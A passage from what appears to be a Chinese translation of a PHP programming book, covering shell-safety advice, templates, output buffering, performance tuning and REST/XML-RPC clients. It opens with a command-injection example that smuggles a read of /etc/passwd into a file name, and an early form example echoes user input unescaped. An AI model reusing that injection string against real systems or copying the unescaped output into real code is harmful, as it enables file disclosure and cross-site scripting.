ls '/tmp;cat /etc/passwd'

避免使用 shell 的最简单方法是在 PHP 代码中完成你想要调用的任何程序的工作,而不是调用 shell。内置函数可能比涉及 shell 的任何内容更安全。

数据加密问题

最后一个要讨论的主题是加密数据,你希望确保它不以原始形式可视化。这主要适用于网站密码,但也有其他示例,如社会保障号码(加拿大的社会保险号码)、信用卡号码和银行账号。

查看PHP 网站的常见问题页面,找到适合您特定数据加密需求的最佳方法。

更多资源

下面的资源可以帮助您深入了解代码安全性的简要介绍:

安全回顾

由于安全性是一个如此重要的问题,我们希望重申本章的主要要点,并提供一些额外的建议:

  • 过滤输入以确保您从远程来源接收的所有数据都是您期望的数据。请记住,您的过滤逻辑越严格,应用程序越安全。

  • 以上下文感知的方式转义输出,以确保您的数据不会被远程系统错误解释。

  • 始终初始化您的变量。当启用register_globals指令时,这一点尤为重要。

  • 禁用register_globalsmagic_quotes_gpcallow_url_fopen。有关这些指令的详细信息,请参阅PHP 网站

  • 每当构造文件名时,请使用basename()realpath()检查组件。

  • 将包含文件存储在文档根目录之外。最好不要使用*.inc扩展名命名您的包含文件。使用.php*扩展名或其他不太明显的扩展名更好。

  • 每当用户的权限级别变化时,请始终调用session_regenerate_id()

  • 每当从用户提供的组件构造文件名时,请使用basename()realpath()检查组件。

  • 不要创建文件然后更改其权限。而是设置umask()以便以正确的权限创建文件。

  • 不要使用用户提供的数据与eval(),带有/e选项的preg_replace(),或任何系统命令——exec()system()popen()passthru()和反引号操作符(`)。

接下来是什么

面对这样的潜在漏洞,您可能会想知道为什么您应该进行“Web 开发”工作。银行和投资公司几乎每天都有大量数据丢失和身份盗用的网络安全漏洞报告。至少,如果您要成为一名优秀的 Web 开发人员,您必须始终重视安全,并牢记这是一个不断变化的领域。永远不要假设您的应用程序是 100%安全的。

接下来的章节将讨论应用程序开发技术。这是另一个 Web 开发人员可以真正闪耀并减少头痛的领域。我们将涵盖代码库的使用、错误处理和性能调优等主题。

第十五章:应用技术

到目前为止,你应该对 PHP 语言的细节及其在各种常见情况下的使用有了扎实的理解。现在我们将向你展示一些在 PHP 应用中可能会有用的技术,比如代码库、模板系统、高效的输出处理、错误处理和性能调优。

代码库

正如你所见,PHP 附带了许多扩展库,将有用的功能组合成不同的包,你可以从你的脚本中访问。我们在第十章、11 章和 12 章中介绍了如何使用 GD、FPDF 和 Libxslt 扩展库。

除了使用 PHP 附带的扩展之外,你还可以创建自己的代码库,可以在网站的多个部分中使用。一般的技术是将一组相关函数存储在一个 PHP 文件中。然后,当你需要在页面中使用该功能时,你可以使用require_once()将文件的内容插入到当前脚本中。

注意

请注意,还有三种其他包含类型函数也可以使用。它们是require()include_once()include()。第二章详细讨论了这些函数。

举个例子,假设你有一组函数,可以帮助创建有效的 HTML 表单元素:你的集合中的一个函数创建一个文本字段或一个text​area(取决于你设置的最大字符数),另一个函数创建一系列弹出窗口,用于设置日期和时间,等等。与其将代码复制到许多页面中(这样做很繁琐,容易出错,并且使得难以修复函数中发现的任何错误),创建一个函数库是明智的选择。

当你将函数组合成一个代码库时,要注意在将相关函数分组和包含不经常使用的函数之间保持平衡。当你在页面中包含一个代码库时,无论你是否使用所有函数,该库中的所有函数都会被解析。PHP 的解析器很快,但不解析函数会更快。同时,你不希望将函数分散到太多的库中,导致你需要在每个页面中包含大量文件,因为文件访问速度很慢。

模板系统

模板系统 提供了一种将网页中的代码与页面布局分离的方法。在较大的项目中,模板可以用于允许设计师专门处理设计网页,程序员则专门(或多或少地)处理编程工作。模板系统的基本思想是,网页本身包含特殊的标记,这些标记将被动态内容替换。网页设计师可以创建页面的 HTML 并简单地关注布局,使用不同种类动态内容所需的适当标记。另一方面,程序员负责创建生成标记动态内容的代码。

为了更具体,让我们看一个简单的例子。考虑以下网页,询问用户提供一个名称,然后如果提供了名称,感谢用户:

<html>
 <head>
 <title>User Information</title>
 </head>

 <body>
 <?php if (!empty($_GET['name'])) {
 // do something with the supplied values ?>

 <p><font face="helvetica,arial">Thank you for filling out the form,
 <?php echo $_GET['name'] ?>.</font></p>
 <?php }
else { ?>
 <p><font face="helvetica,arial">Please enter the following information:
 </font></p>

 <form action="<?php echo $_SERVER['PHP_SELF'] ?>">
 <table>
 <tr>
 <td>Name:</td>
 <td>
 <input type="text" name="name" />
 <input type="submit" />
 </td>
 </tr>
 </table>
 </form>
<?php } ?>
</body>
</html>

将不同的 PHP 元素放置在各种布局标记中,如fonttable元素,最好由设计师处理,特别是当页面变得更复杂时。使用模板系统,我们可以将此页面拆分为多个文件,其中一些包含 PHP 代码,另一些包含布局。然后,HTML 页面将包含特殊的标记,用于放置动态内容。示例 15-1 展示了我们简单表单的新 HTML 模板页面,存储在名为 user.template 的文件中。它使用{DESTINATION}标记来指示应处理表单的脚本。

示例 15-1. 用户输入表单的 HTML 模板
<html>
 <head>
 <title>User Information</title>
 </head>

 <body>
 <p>Please enter the following information:</p>

 <form action="{DESTINATION}">
 <table>
 <tr>
 <td>Name:</td>
 <td><input type="text" name="name" /></td>
 </tr>
 </table>
 </form>
 </body>
</html>

示例 15-2 展示了感谢页面的模板,名为 thankyou.template,用户填写表单后显示。此页面使用{NAME}标记来包含用户名称的值。

示例 15-2. 感谢页面的 HTML 模板
<html>
 <head>
 <title>Thank You</title>
 </head>

 <body>
 <p>Thank you for filling out the form, {NAME}.</p>
 </body>
</html>

现在我们需要一个脚本来处理这些模板页面,填写各种标记的适当信息。示例 15-3 展示了使用这些模板的 PHP 脚本(一个用于用户尚未提供信息之前,另一个用于之后)。PHP 代码使用 fillTemplate() 函数将我们的值和模板文件连接起来。该文件名为 form_template.php

示例 15-3. 模板脚本
<?php
$bindings["DESTINATION"] = $_SERVER["PHP_SELF"];
$name = $_GET["name"];

if (!empty($name)) {
 // do something with the supplied values
 $template = "thankyou.template";
 $bindings["NAME"] = $name;
}
else {
 $template = "user.template";
}

echo fillTemplate($template, $bindings);

示例 15-4 展示了由示例 15-3 中的脚本使用的 fillTemplate() 函数。该函数接受模板文件名(相对于位于文档根目录中名为 templates 的目录),值数组以及可选指令,指示如果找到未给出值的标记该如何处理。可能的值有 delete,删除标记;comment,将标记替换为注释,指出值缺失;或其他任何内容,保留标记不变。该文件名为 func_template.php

示例 15-4. fillTemplate() 函数
<?php
function fillTemplate($name, $values = array(), $unhandled = "delete") {
 $templateFile = "{$_SERVER['DOCUMENT_ROOT']}/templates/{$name}";

 if ($file = fopen($templateFile, 'r')) {
 $template = fread($file, filesize($templateFile));
 fclose($file);
 }

 $keys = array_keys($values);

 foreach ($keys as $key) {
 // look for and replace the key everywhere it occurs in the template
 $template = str_replace("{{$key}}", $values[$key], $template);
 }

 if ($unhandled == "delete") {
 // remove remaining keys
 $template = preg_replace("/{[^ }]*}/i", "", $template);
 }
 else if ($unhandled == "comment") {
 // comment remaining keys
 $template = preg_replace("/{([^ }]*)}/i", "<!-- \\1 undefined -->", $template);
 }

 return $template;
}

显然,这个模板系统的示例有些牵强。但是如果您想象一个显示数百篇新闻文章的大型 PHP 应用程序,您可以想象使用像{HEADLINE}{BYLINE}{ARTICLE}这样的标记的模板系统可能会很有用,因为它允许设计人员创建文章页面的布局,而无需担心实际内容。

虽然模板可能减少了设计人员需要查看的 PHP 代码量,但性能有所折衷,因为每个请求都会产生从模板构建页面的成本。在每个传出页面上执行模式匹配可能会大大减慢流行网站的速度。Andrei Zmievski 的Smarty是一个高效的模板系统,通过将模板转换为直接的 PHP 代码并进行缓存,避免了大部分性能损失。它不是在每个请求上进行模板替换,而是在模板文件更改时才进行。

处理输出

PHP 主要是关于在 Web 浏览器中显示输出。因此,您可以使用几种不同的技术来更高效或更方便地处理输出。

输出缓冲

默认情况下,PHP 在执行每个命令后将echo和类似命令的结果发送到浏览器。或者,您可以使用 PHP 的输出缓冲函数将通常发送到浏览器的信息收集到缓冲区,并稍后发送(或完全丢弃)。这样可以在生成输出后指定输出的内容长度,捕获函数的输出,或者丢弃内置函数的输出。

使用ob_start()函数可以开启输出缓冲:

ob_start([*`callback`*]);

可选的*callback参数是后处理输出的函数名称。如果指定了这个参数,当缓冲区刷新时,将传递收集到的输出给该函数,并且它应该返回一个字符串输出以发送到浏览器。例如,您可以使用这个功能将所有www.yoursite.com*的出现替换为*http://www.mysite…

当启用输出缓冲时,所有输出都存储在内部缓冲区中。要获取当前缓冲区的长度和内容,请使用ob_get_length()ob_get_``contents()

$len = ob_get_length();
$contents = ob_get_contents();

如果未启用缓冲,则这些函数将返回false

有两种方法可以丢弃缓冲区中的数据。ob_clean()函数擦除输出缓冲区但不关闭后续输出的缓冲。ob_end_clean()函数擦除输出缓冲区并结束输出缓冲。

有三种方法将收集的输出发送到浏览器(这个动作称为flushing缓冲区)。ob_flush()函数将输出数据发送到 Web 服务器并清空缓冲区,但不终止输出缓冲。flush()函数不仅刷新和清空输出缓冲区,还尝试立即将数据发送到浏览器。ob_end_flush()函数将输出数据发送到 Web 服务器并结束输出缓冲。在所有情况下,如果你在ob_start()中指定了回调函数,该函数将被调用以决定确切发送到服务器的内容。

如果你的脚本在输出缓冲仍然启用的情况下结束——也就是说,你没有调用ob_end_flush()ob_end_clean()——PHP 会自动调用ob_end_flush()

以下代码收集phpinfo()函数的输出并用于确定你是否安装了 GD 图形模块:

ob_start();
 phpinfo();
 $phpinfo = ob_get_contents();
ob_end_clean();

if (strpos($phpinfo, "module_gd") === false) {
 echo "You do not have GD Graphics support in your PHP, sorry.";
}
else {
 echo "Congratulations, you have GD Graphics support!";
}

当然,检查某个特定扩展是否可用的更快、更简单的方法是选择一个你知道该扩展提供的函数,并检查它是否存在。对于 GD 扩展,你可以这样做:

if (function_exists("imagecreate")) {
 // do something useful
}

要在文档中将所有引用从*www.yoursite.com*更改为*http://www.mysite…

ob_start(); ?>

Visit <a href="http://www.yoursite.com/foo/bar">our site</a> now!

<?php $contents = ob_get_contents();
ob_end_clean();

echo str_replace("`http://www.yoursite.com/`",
"`http://www.mysite.com/`", $contents);
?>

Visit <a href="http://www.mysite.com/foo/bar">our site</a> now!

另一种方法是使用回调函数。在这里,rewrite()回调修改页面的文本:

function rewrite($text) {
 return str_replace("`http://www.yoursite.com/`",
"`http://www.mysite.com/`", $text);
}

ob_start("rewrite"); ?>

Visit <a href="http://www.yoursite.com/foo/bar">our site</a> now!
Visit <a href="http://www.mysite.com/foo/bar">our site</a> now!

输出压缩

现代浏览器支持压缩网页文本;服务器发送压缩文本,浏览器解压缩它。为了自动压缩你的网页,可以像这样包装它:

ob_start("ob_gzhandler");

内置的ob_gzhandler()函数可以作为调用ob_start()的回调函数使用。它根据浏览器发送的Accept-Encoding头部压缩缓冲页面。可能的压缩技术包括gzipdeflate或无压缩。

压缩短页面很少有意义,因为压缩和解压缩所需的时间超过了直接发送未压缩文本所需的时间。然而,压缩大于 5 KB 的大页面是有意义的。

不必在每个页面顶部添加ob_start()调用,你可以在你的php.ini文件中设置output_handler选项为一个在每个页面上调用的回调函数。对于压缩,这是ob_gzhandler

性能调优

在考虑性能调优之前,先花时间确保你的代码能正常工作。一旦你有了可靠的工作代码,你可以定位较慢的部分,或者瓶颈。如果在编写代码时尝试优化代码,你会发现优化后的代码往往更难阅读,并且通常需要更多的时间编写。如果你花时间在一个实际上并不造成问题的代码部分上,那么这段时间就浪费了,特别是在未来需要维护该代码时,而你无法再阅读它时。

一旦您的代码运行正常,您可能会发现它需要进行一些优化。优化代码通常涉及两个方面:缩短执行时间和减少内存需求。

在开始优化之前,请问自己是否真的需要进行优化。太多程序员浪费了时间,纠结于一系列复杂的字符串函数调用是否比单个 Perl 正则表达式快还是慢,而这些代码所在的页面每五分钟只会被查看一次。只有当页面加载时间长到用户感觉它很慢时,才需要进行优化。通常这是一个非常受欢迎的网站的症状——如果页面请求非常频繁,生成页面所需的时间可能会决定及时交付与服务器超载之间的差异。在您的网站上可能需要等待很长时间时,您可以打赌您的访客不会花费太长时间决定在其他地方寻找信息。

一旦您确定您的页面需要优化(最好通过一些最终用户测试和观察来完成此操作),您可以继续确切地确定哪些部分较慢。您可以使用“分析”部分的技术来计时页面的各个子程序或逻辑单元。这将让您了解哪些部分生成页面所需的时间最长——这些部分是您应该集中优化工作的地方。如果一个页面需要 5 秒钟来生成,通过优化仅占总时间 0.25 秒的函数,您永远无法将其减少到 2 秒钟。确定浪费时间最多的代码块并集中关注它们。计时页面和正在优化的部分,以确保您的更改产生积极而非负面的效果。

最后,要知道何时停止。有时候,您能够让某物运行的速度有一个绝对的极限。在这些情况下,提高性能的唯一方法可能是通过引入新硬件来解决问题。解决方案可能会是更快的机器或在它们前面使用反向代理缓存的更多 Web 服务器。

基准测试

如果您正在使用 Apache,可以使用 Apache 基准测试实用工具ab进行高级性能测试。要使用它,请运行:

$ /usr/local/apache/bin/ab -c 10 -n 1000 http://localhost/info.php

此命令将以 10 个并发请求的形式对 PHP 脚本info.php进行 1,000 次速度测试。基准测试工具会返回关于测试的各种信息,包括最慢、最快和平均加载时间。您可以将这些值与静态 HTML 页面进行比较,看看您的脚本执行速度有多快。

例如,这是对简单调用phpinfo()页面进行 1,000 次获取的输出:

This is ApacheBench, Version 1.3d <$Revision: 1.2 $> apache-1.3
Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd,
http://www.zeustech.net/
Copyright (c) 1998-2001 The Apache Group, http://www.apache.org/

Benchmarking localhost (be patient)
Completed 100 requests
Completed 200 requests
Completed 300 requests
Completed 400 requests
Completed 500 requests
Completed 600 requests
Completed 700 requests
Completed 800 requests
Completed 900 requests
Finished 1000 requests
Server Software: Apache/1.3.22
Server Hostname: localhost
Server Port: 80

Document Path: /info.php
Document Length: 49414 bytes

Concurrency Level: 10
Time taken for tests: 8.198 seconds
Complete requests: 1000
Failed requests: 0
Broken pipe errors: 0
Total transferred: 49900378 bytes
HTML transferred: 49679845 bytes
Requests per second: 121.98 [#/sec] (mean)
Time per request: 81.98 [ms] (mean)
Time per request: 8.20 [ms] (mean, across all concurrent requests)
Transfer rate: 6086.90 [Kbytes/sec] received

Connnection Times (ms)
 min mean[+/-sd] median max
Connect: 0 12 16.9 1 72
Processing: 7 69 68.5 58 596
Waiting: 0 64 69.4 50 596
Total: 7 81 66.5 79 596

Percentage of the requests served within a certain time (ms)
 50% 79
 66% 80
 75% 83
 80% 84
 90% 158
 95% 221
 98% 268
 99% 288
 100% 596 (last request)

如果您的 PHP 脚本使用会话,则从ab获得的结果将无法代表脚本的真实世界性能。由于会话在请求之间被锁定,ab运行的并发请求的结果将非常糟糕。然而,在正常使用中,会话通常与单个用户关联,该用户不太可能发起并发请求。

使用ab告诉您页面的总体速度,但不提供页面内单个功能或代码块的速度信息。在尝试提高代码速度时,请使用ab来测试您所做的更改。我们将在下一部分向您展示如何计时页面的各个部分,但如果整体页面仍然加载和运行缓慢,这些微基准测试并不重要。您的性能优化是否成功的最终证据来自ab报告的数字。

分析

PHP 没有内置的分析器,但是有一些技术可以用来调查您认为存在性能问题的代码。一种技术是调用microtime()函数来获取经过的时间的准确表示。您可以在要进行分析的代码周围调用microtime(),并使用它返回的值计算代码执行所花费的时间。

例如,这是一些代码,您可以使用它来查找生成phpinfo()输出所需的时间:

ob_start();
$start = microtime(true);

phpinfo();

$end = microtime(true);
ob_end_clean();

echo "phpinfo() took " . ($end - $start) . " seconds to run.\n";

多次重新加载此页面,您将看到数字略有波动。如果经常重新加载,您将看到波动非常大。仅计时代码的单次运行存在风险,可能无法获得代表性的机器负载——服务器可能在用户启动emacs时分页,或者已从其缓存中删除源文件。获得准确的执行时间表示的最佳方法是计时重复运行并查看这些时间的平均值。

PEAR 中可用的Benchmark类使得重复计时脚本的各个部分变得容易。以下是一个简单示例,展示了如何使用它:

require_once 'Benchmark/Timer.php';

$timer = new Benchmark_Timer;

$timer->start();
 sleep(1);
 $timer->setMarker('Marker 1');
 sleep(2);
$timer->stop();

$profiling = $timer->getProfiling();

foreach ($profiling as $time) {
 echo $time["name"] . ": " . $time["diff"] . "<br>\n";
}

echo "Total: " . $time["total"] . "<br>\n";

此程序的输出是:

Start: -
Marker 1: 1.0006979703903
Stop: 2.0100029706955
Total: 3.0107009410858

换句话说,到达标记 1 花了 1.0006979703903 秒,该标记紧跟我们的sleep(1)调用之后,这是您可以预期的。从标记 1 到结束花了稍微超过两秒,整个脚本运行时间略超过三秒。您可以添加任意多的标记,从而计时脚本的各个部分。

优化执行时间

这里有一些缩短脚本执行时间的技巧:

  • 当只需echo时,避免使用printf()

  • 避免在循环内重新计算值,因为 PHP 的解析器不会删除循环不变量。例如,如果$array 的大小不变,请不要这样做:

     for ($i = 0; $i < count($array); $i++) { /* do something */ }
    

    相反,请这样做:

     $num = count($array);
     for ($i = 0; $i < $num; $i++) { /* do something */ }
    
  • 只包含你需要的文件。拆分包含的文件,只包含你确定会一起使用的函数。虽然代码可能更难维护,但解析不使用的代码是昂贵的。

  • 如果你正在使用数据库,请使用持久性数据库连接——建立和断开数据库连接可能会很慢。

  • 在做简单的字符串操作时,不要使用正则表达式。例如,将一个字符转换为另一个字符的字符串操作,应该使用str_replace()而不是preg_replace()

优化内存需求

这里有一些减少脚本内存需求的技术:

  • 尽可能使用数字而不是字符串:

    for ($i = "0"; $i < "10"; $i++) // bad
    for ($i = 0; $i < 10; $i++) // good
    
  • 当您使用完一个大字符串后,请将持有该字符串的变量设置为空字符串。这样可以释放内存以便重新使用。

  • 只包含或需要你需要的文件。使用include_once()require_once()而不是include()require()

  • 在完成对 MySQL 或其他数据库的使用后尽快释放结果集。保持结果集在内存中超出其用途并无益处。

反向代理和复制

添加硬件通常是改善性能的最快途径。不过,最好先对软件进行基准测试,因为通常修复软件比购买新硬件便宜。解决流量扩展问题的三种常见方法是反向代理缓存、负载均衡服务器和数据库复制。

反向代理缓存

反向代理是一个程序,位于您的 Web 服务器前面,处理来自客户端浏览器的所有连接。代理被优化以快速提供静态文件,尽管外表和实施方式不同,大多数动态站点可以在短时间内进行缓存,而不会丢失服务。通常情况下,您会在一个单独的机器上运行代理。

举个例子,一个繁忙的站点每秒首页被访问 50 次。如果这个首页由两个数据库查询构建,并且数据库每分钟变化两次,你可以通过使用Cache-Control头告诉反向代理缓存页面 30 秒来避免每分钟 5994 次数据库查询。最坏情况是从数据库更新到用户看到新数据会有 30 秒的延迟。对于大多数应用程序来说,这不是一个很长的延迟,并且带来显著的性能优势。

代理缓存甚至可以智能缓存根据浏览器类型、接受的语言或类似功能个性化或定制的内容。典型的解决方案是发送Vary头告诉缓存确切影响缓存的请求参数。

有硬件代理缓存可用,但也有非常好的软件实现。对于一个高质量且极其灵活的开源代理缓存,请参考Squid。有关代理缓存及如何调整网站以与其配合的更多信息,请参阅 Duane Wessels 的书籍 Web Caching(O'Reilly)。

负载均衡和重定向

提升性能的一种方法是将负载分布到多台机器上。负载均衡系统可以通过均匀分布负载或将传入请求发送到负载最轻的机器来实现这一点。重定向器是一种重写传入 URL 的程序,允许对请求分布到各个服务器进行精细控制。

同样,有硬件 HTTP 重定向器和负载均衡器,但重定向和负载均衡也可以通过软件有效实现。通过像SquidGuard这样的工具将重定向逻辑添加到 Squid 中,可以通过多种方式提高性能。

MySQL 复制

有时数据库服务器是瓶颈——许多同时查询可能会使数据库服务器陷入困境,导致性能下降。复制是最佳解决方案之一。将发生在一个数据库中的所有内容迅速同步到一个或多个其他数据库中,从而获得多个相同的数据库。这使您可以在多个数据库服务器上分散查询,而不是仅在一个服务器上负载。

最有效的模型是使用单向复制,在这种模式下,您有一个单一的主数据库,将其复制到多个从数据库中。数据库写操作发送到主服务器,数据库读取在多个从服务器之间进行负载均衡。这种技术旨在适用于读取操作远远多于写操作的架构。大多数 Web 应用程序很适合这种场景。

图 15-1 展示了复制过程中主数据库和从数据库之间的关系。

数据库复制关系

图 15-1. 数据库复制关系

许多数据库支持复制,包括 MySQL、PostgreSQL 和 Oracle。

将所有内容整合在一起

对于一个真正强大的架构,将所有这些概念集成到像 图 15-2 中显示的配置中。

使用五台单独的机器——一个用于反向代理和重定向器,三个 Web 服务器和一个主数据库服务器——这种架构可以处理大量请求。确切的数字仅取决于两个瓶颈——单个的 Squid 代理和单个的主数据库服务器。稍加创意,这两者中的任何一个或两者都可以分配到多台服务器上,但目前,如果您的应用程序在某种程度上可缓存并且数据库读取量大,这是一个不错的方法。

将所有内容整合在一起

图 15-2. 将所有内容整合在一起

每个 Apache 服务器都有自己的只读 MySQL 数据库,因此来自 PHP 脚本的所有读请求都通过 Unix 域本地套接字传输到专用的 MySQL 实例。您可以根据需要在此框架下添加任意多个这样的 Apache/PHP/MySQL 服务器。来自您的 PHP 应用程序的任何数据库写入都将通过传输控制协议(TCP)套接字传输到主 MySQL 服务器。

接下来的步骤

在接下来的章节中,我们将深入探讨使用 PHP 开发和部署 Web 服务。

第十六章:Web 服务

历史上,每当有两个系统需要通信时,通常会创建一个新的协议(例如,用于发送邮件的 SMTP,用于接收邮件的 POP3,以及数据库客户端和服务器使用的众多协议)。Web 服务的理念是通过基于 XML 和 HTTP 的标准化远程过程调用机制,消除创建新协议的需要。

Web 服务使得集成异构系统变得简单。比如说,你正在为一个已经存在的图书馆系统编写 Web 界面。它有一个复杂的数据库表系统,并且在程序代码中嵌入了大量的业务逻辑来操作这些表。而且它是用 C++ 编写的。你可以重新在 PHP 中实现业务逻辑,编写大量代码以正确操作表,或者你可以在 C++ 中写少量代码来将图书馆操作(例如,为用户借书、查看归还日期、查看该用户的逾期罚款)作为 Web 服务公开。现在,你的 PHP 代码只需处理 Web 前端;它可以使用图书馆服务来完成所有繁重的工作。

REST 客户端

RESTful Web 服务 是使用 HTTP 和表现层状态转移(REST)原则实现的 Web API 的宽泛描述。它指的是一组资源以及客户端可以通过 API 执行的基本操作。

例如,一个 API 可能描述了一组作者及其所贡献的书籍。每个对象类型内的数据是任意的。在这种情况下,资源是每个单独的作者、每本单独的书籍,以及所有作者、所有书籍的集合,以及每个作者所贡献的书籍。每个资源必须有一个唯一的标识符,以便 API 调用知道正在检索或操作哪个资源。

你可能会用一个简单的类集合来表示书籍和作者资源,就像示例 16-1 中那样。

示例 16-1. 书籍和作者类
class Book {
 public $id;
 public $name;
 public $edition;

 public function __construct($id) {
 $this->id = $id;
 }
}

class Author {
 public $id;
 public $name;
 public $books = array();

 public function __construct($id) {
 $this->id = $id;
 }
}

因为 HTTP 是为 REST 架构而建的,它提供了一组动词用于与 API 进行交互。我们已经看到了 GETPOST 动词,通常用于代表“检索数据”和“执行操作”。RESTful Web 服务引入了另外两个动词,PUTDELETE

GET

检索关于资源或资源集合的信息。

POST

创建一个新资源。

PUT

更新资源使用新数据,或者用新资源替换一组资源。

DELETE

删除一个资源或一组资源。

例如,BooksAuthors API 可能包括以下基于对象类数据的 REST 端点:

GET /api/authors

返回集合中每个作者的标识符列表。

POST /api/authors

提供关于新作者的信息,创建新作者到集合中。

GET /api/authors/id

检索集合中具有标识符*id*的作者并将其返回。

PUT /api/authors/id

针对具有标识符*id*的作者的更新信息,更新集合中该作者的信息。

DELETE /api/authors/id

从集合中删除具有标识符*id*的作者。

GET /api/authors/id/books

检索具有标识符*id*的作者为每本书的标识符列表。

POST /api/authors/id/books

给定有关新书的信息,创建集合中具有标识符*id*的作者下的新书。

GET /api/books/id

检索集合中具有标识符*id*的书并将其返回。

RESTful web services 提供的GETPOSTPUTDELETE动词可以被视为数据库中典型的createretrieveupdatedelete(CRUD)操作的粗略等效,尽管它们可以与集合相关联,而不仅仅是实体,这在 CRUD 实现中是典型的。

响应

在每个前述的 API 端点中,HTTP 状态码用于提供请求的结果。HTTP 提供了一长串标准状态码:例如,当您创建资源时将返回201 Created,当您向不存在的端点发送请求时将返回501 Not Implemented

虽然完整的 HTTP 代码列表超出了本章的范围,但一些常见的代码包括:

200 OK

请求已成功完成。

201 Created

已成功完成创建新资源的请求。

400 Bad Request

请求命中了有效的端点,但格式错误,无法完成。

401 Unauthorized

403 Forbidden一起,表示一个有效请求,但由于缺乏权限而无法完成。通常,此响应指示需要授权但尚未提供。

403 Forbidden

401 Unauthorized类似,此响应指示一个有效请求,但由于缺乏权限而无法完成。通常,此响应指示授权可用但用户缺乏执行请求操作的权限。

404 Not Found

未找到资源(例如,尝试删除不存在 ID 的作者)。

500 Internal Server Error

服务器端发生错误。

这些代码仅作为指南和典型响应;RESTful API 提供的确切响应由 API 本身详细说明。

检索资源

检索资源信息涉及简单的GET请求。示例 16-2 使用curl扩展来格式化 HTTP 请求,在其上设置参数,发送请求并获取返回的信息。

示例 16-2. 检索作者数据
$authorID = "ktatroe";
$url = "http://example.com/api/authors/{$authorID}";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);

$response = curl_exec($ch);
$resultInfo = curl_getinfo($ch);

curl_close($ch);

// decode the JSON and use a Factory to instantiate an Author object
$authorJSON = json_decode($response);
$author = ResourceFactory::authorFromJSON($authorJSON);

要获取有关作者的信息,此脚本首先构造代表资源端点的 URL。然后,初始化 curl 资源并向其提供构造的 URL。最后,执行 curl 对象,发送 HTTP 请求,等待响应并返回它。

在这种情况下,响应是 JSON 数据,解码后传递给AuthorFactory方法以构造Author类的实例。

更新资源

更新现有资源比检索有关资源信息稍微复杂一些。在这种情况下,您需要使用PUT动词。由于PUT最初是用于处理文件上传的,因此PUT请求要求您从文件中将数据流式传输到远程服务。

该脚本不是在磁盘上创建文件并从中进行流式传输,而是在示例 16-3 中使用 PHP 提供的'memory'流,首先用要发送的数据填充它,然后将其倒带到刚刚写入的数据的开头,最后将 curl 对象指向该文件。

示例 16-3. 更新书籍数据
$bookID = "ProgrammingPHP";
$url = "http://example.com/api/books/{$bookID}";

$data = json_encode(array(
 'edition' => 4,
));

$requestData = http_build_query($data, '', '&');

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);

$fh = fopen("php://memory", 'rw');
fwrite($fh, $requestData);
rewind($fh);

curl_setopt($ch, CURLOPT_INFILE, $fh);
curl_setopt($ch, CURLOPT_INFILESIZE, mb_strlen($requestData));
curl_setopt($ch, CURLOPT_PUT, true);

$response = curl_exec($ch);
$resultInfo = curl_getinfo($ch);

curl_close($ch);
fclose($fh);

创建资源

要创建新资源,请使用POST动词调用适当的端点。请求的数据以POST请求的典型键值形式放入其中。

在示例 16-4 中,用于创建新作者的Author API 端点将创建新作者的信息作为 JSON 格式对象,存储在'data'键下。

示例 16-4. 创建作者
<?php $newAuthor = new Author('pbmacintyre');
$newAuthor->name = "Peter Macintyre";

$url = "http://example.com/api/authors";

$data = array(
 'data' => json_encode($newAuthor)
);

$requestData = http_build_query($data, '', '&');

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_POSTFIELDS, $requestData);
curl_setopt($ch, CURLOPT_POST, true);

$response = curl_exec($ch);
$resultInfo = curl_getinfo($ch);

curl_close($ch);

该脚本首先构造一个新的Author实例,并将其值编码为 JSON 格式字符串。然后,它以适当的格式构造键值数据,将该数据提供给 curl 对象,并发送请求。

删除资源

删除资源同样直截了当。示例 16-5 创建一个请求,并通过curl_setopt()函数将动词设置为'DELETE',然后发送请求。

示例 16-5. 删除书籍
<?php $authorID = "ktatroe";
$bookID = "ProgrammingPHP";
$url = "http://example.com/api/authors/{$authorID}/books/{$bookID}";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');

$result = curl_exec($ch);
$resultInfo = curl_getinfo($ch);

curl_close($ch);

XML-RPC

虽然如今不如 REST 流行,但 XML-RPC 和 SOAP 是两种用于创建 Web 服务的较旧的标准协议。XML-RPC 是两者中更旧且更简单的,而 SOAP 则更新且更复杂。

PHP 通过xmlrpc扩展提供对 SOAP 和 XML-RPC 的访问,该扩展基于xmlrpc-epi 项目xmlrpc扩展不会默认编译进 PHP 中,因此在编译 PHP 时需要添加--with-xmlrpc到您的configure行。

服务器

示例 16-6 展示了一个非常基础的 XML-RPC 服务器,仅暴露一个功能(XML-RPC 称之为“方法”)。该函数multiply()用于两个数字相乘并返回结果。这并不是一个非常激动人心的示例,但它展示了 XML-RPC 服务器的基本结构。

示例 16-6. Multiplier XML-RPC 服务器
<?php
// expose this function via RPC as "multiply()"
function times ($method, $args) {
 return $args[0] * $args[1];
}

$request = $HTTP_RAW_POST_DATA;

if (!$request) {
 $requestXml = $_POST['xml'];
}

$server = xmlrpc_server_create() or die("Couldn't create server");
xmlrpc_server_register_method($server, "multiply", "times");

$options = array(
 'output_type' => 'xml',
 'version' => 'auto',
);

echo xmlrpc_server_call_method($server, $request, null, $options);

xmlrpc_server_destroy($server);

xmlrpc 扩展会为您处理分派。也就是说,它会确定客户端试图调用哪个方法,解码参数,并调用相应的 PHP 函数。然后,它返回一个 XML 响应,该响应编码了函数返回的任何可以被 XML-RPC 客户端解码的值。

使用 xmlrpc_server_create() 创建服务器:

$server = xmlrpc_server_create();

创建服务器后,通过 XML-RPC 分派机制使用 xmlrpc_server_register_method() 公开函数:

xmlrpc_server_register_method(*`server`*, *`method`*, *`function`*);

method 参数是 XML-RPC 客户端知道的名称。function 参数是实现该 XML-RPC 方法的 PHP 函数。在 示例 16-6 中,multiply() XML-RPC 客户端方法由 PHP 中的 times() 函数实现。通常,服务器会多次调用 xmlrpc_server_register_method() 来公开多个函数。

注册了所有方法后,调用 xmlrpc_server_call_method() 将传入的请求分派给适当的函数:

$response = xmlrpc_server_call_method(*`server`*, *`request`*, *`user_data`* [, *`options`*]);

request 是 XML-RPC 请求,通常作为 HTTP POST 数据发送。我们通过 $HTTP_RAW_POST_DATA 变量获取它。它包含要调用的方法名称及其参数。这些参数被解码为 PHP 数据类型,并调用函数(本例中为 times())。

作为 XML-RPC 方法公开的函数需要接受两到三个参数:

$retval = exposedFunction(*`method`*, *`args`* [, *`user_data`*]);
